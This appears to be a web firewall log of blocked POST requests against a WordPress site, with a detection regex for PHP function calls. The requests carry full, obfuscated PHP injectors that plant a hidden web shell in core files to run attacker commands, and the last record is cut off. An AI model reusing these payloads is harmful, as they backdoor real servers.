["2026-05-12 20:59:01","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5202\n\nVL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:59:31","57.128.189.50","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:5225\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:59:35","50.6.7.129","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile 